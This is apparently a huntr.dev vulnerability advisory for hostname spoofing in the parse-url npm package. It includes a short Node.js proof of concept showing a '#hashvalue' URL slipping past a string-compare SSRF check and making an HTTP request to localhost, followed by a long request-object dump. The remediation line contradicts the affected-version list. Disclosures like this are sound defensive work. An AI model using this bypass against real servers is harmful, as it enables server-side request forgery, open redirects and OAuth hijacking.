Summary
Hostname Spoofing via Improper Input Validation in parse-url.
Product
parse-url through 6.0.0, and versions 6.0.2, 6.0.3, 6.0.5.
Steps to reproduce
{
protocols: [ 'http' ],
protocol: 'http',
port: null,
resource: 'localhost#hashvalue',
user: '',
pathname: '',
hash: '',
search: '',
href: 'http://localhost#hashvalue',
query: [Object: null prototype] {}
}
Expected result:
const http = require("http")
parsed = parseUrl('http://localhost#hashvalue')
if (parsed.resource== 'localhost') {
console.log('WAF!!!')
} else {
console.log('bypass!!')
console.log(http.get(parsed.href))
}
bypass!!
ClientRequest {
_events: [Object: null prototype] {},
_eventsCount: 0,
_maxListeners: undefined,
outputData: [
{
data: 'GET / HTTP/1.1rnHost: localhostrnConnection: closernrn',
encoding: 'latin1',
callback: [Function: bound onFinish]
}
],
outputSize: 54,
writable: true,
destroyed: false,
_last: true,
chunkedEncoding: false,
shouldKeepAlive: false,
maxRequestsOnConnectionReached: false,
_defaultKeepAlive: true,
useChunkedEncodingByDefault: false,
sendDate: false,
_removedConnection: false,
_removedContLen: false,
_removedTE: false,
_contentLength: 0,
_hasBody: true,
_trailer: '',
finished: true,
_headerSent: true,
_closed: false,
socket: null,
_header: 'GET / HTTP/1.1rnHost: localhostrnConnection: closernrn',
_keepAliveTimeout: 0,
_onPendingData: [Function: nop],
agent: Agent {
_events: [Object: null prototype] {
free: [Function (anonymous)],
newListener: [Function: maybeEnableKeylog]
},
_eventsCount: 2,
_maxListeners: undefined,
defaultPort: 80,
protocol: 'http:',
options: [Object: null prototype] { path: null },
requests: [Object: null prototype] {},
sockets: [Object: null prototype] { 'localhost:80:': [Array] },
freeSockets: [Object: null prototype] {},
keepAliveMsecs: 1000,
keepAlive: false,
maxSockets: Infinity,
maxFreeSockets: 256,
scheduling: 'lifo',
maxTotalSockets: Infinity,
totalSocketCount: 1,
[Symbol(kCapture)]: false
},
socketPath: undefined,
method: 'GET',
maxHeaderSize: undefined,
insecureHTTPParser: undefined,
path: '/',
_ended: false,
res: null,
aborted: false,
timeoutCb: null,
upgradeOrConnect: false,
parser: null,
maxHeadersCount: null,
reusedSocket: false,
host: 'localhost',
protocol: 'http:',
[Symbol(kCapture)]: false,
[Symbol(kNeedDrain)]: false,
[Symbol(corked)]: 0,
[Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', 'localhost' ] }
}
When the server has logic to prevent SSRF as above, it can be bypassed by chaining the hostname spoofing vulnerability through the hash value. This is one of the representative examples, and depending on the situation, Open Redirect or Oauth hijacking is also possible.
Remediation
Update parse-url to 6.0.1 or 6.0.3.
Credit
This issue was reported by @p0cas through huntr.dev.